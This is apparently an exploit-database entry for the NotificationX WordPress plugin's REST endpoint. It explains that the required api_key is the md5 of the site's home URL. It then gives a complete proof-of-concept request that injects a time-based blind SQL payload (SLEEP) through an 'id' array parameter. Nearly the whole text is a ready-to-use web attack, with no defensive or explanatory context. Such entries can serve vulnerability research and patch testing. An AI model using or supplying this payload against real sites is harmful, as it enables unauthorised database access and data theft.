Share
## https://sploitus.com/exploit?id=WPEX-ID:D1480717-726D-4BE2-95CB-1007A3F010BB
The api_key is the md5 of the home_url (either with http or https protocol)

http://example.com/wp-json/notificationx/v1/notification/1?api_key=348ab38c4a43f7e22e7f936c534a08bc&id[1]=%3d(SELECT/**/1/**/WHERE/**/SLEEP(3))